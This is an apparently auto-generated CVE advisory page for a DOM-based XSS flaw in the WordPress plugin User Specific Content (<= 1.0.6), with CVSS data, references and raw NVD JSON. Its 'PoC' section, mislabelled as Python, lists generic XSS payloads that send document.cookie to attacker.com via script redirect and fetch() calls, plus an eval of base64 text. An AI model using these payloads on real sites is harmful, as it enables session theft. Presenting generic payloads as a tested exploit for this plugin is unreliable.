CVE-2025-62749

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Bainternet User Specific Content user-specific-content allows DOM-Based XSS.This issue affects User Specific Content: from n/a through <= 1.0.6.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

User Specific Content <= 1.0.6 (所有WordPress版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-62749 PoC - DOM-Based XSS in WordPress User Specific Content Plugin -->
<!-- This PoC demonstrates the XSS vulnerability in User Specific Content plugin <= 1.0.6 -->

<!-- Method 1: Using script tag -->
<script>alert('XSS - CVE-2025-62749'); document.location='https://attacker.com/steal?cookie='+document.cookie;</script>

<!-- Method 2: Using img onerror handler -->
<img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)">

<!-- Method 3: Using SVG element -->
<svg onload="fetch('https://attacker.com/steal?data='+btoa(document.cookie))"></svg>

<!-- Method 4: Using body onload -->
<body onload="eval(atob('YWxlcnQoJ1hTUyBDVkUtMjAyNS02Mjc0OScpOw=='))">

<!-- Exploitation scenario: -->
<!-- 1. Attacker with low-privilege account injects XSS payload in user-specific content -->
<!-- 2. When admin or other users view the page containing this content -->
<!-- 3. XSS payload executes in victim's browser context -->
<!-- 4. Attacker can steal session cookies, perform actions on behalf of victim -->

<!-- Test payload for verification: -->
<script>console.log('CVE-2025-62749 XSS Test');</script>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62749
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62749
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62749/
[4] VulDB https://vuldb.com/cve/CVE-2025-62749
[5] https://patchstack.com/database/Wordpress/Plugin/user-specific-content/vulnerability/wordpress-user-specific-content-plugin-1-0-6-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62749", "sourceIdentifier": "[email protected]", "published": "2025-12-31T12:16:18.243", "lastModified": "2026-04-23T15:34:40.183", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Bainternet User Specific Content user-specific-content allows DOM-Based XSS.This issue affects User Specific Content: from n/a through <= 1.0.6."}, {"lang": "es", "value": "Neutralización Incorrecta de Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en Bainternet User Specific Content permite XSS basado en DOM. Este problema afecta a User Specific Content: desde n/a hasta 1.0.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/user-specific-content/vulnerability/wordpress-user-specific-content-plugin-1-0-6-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}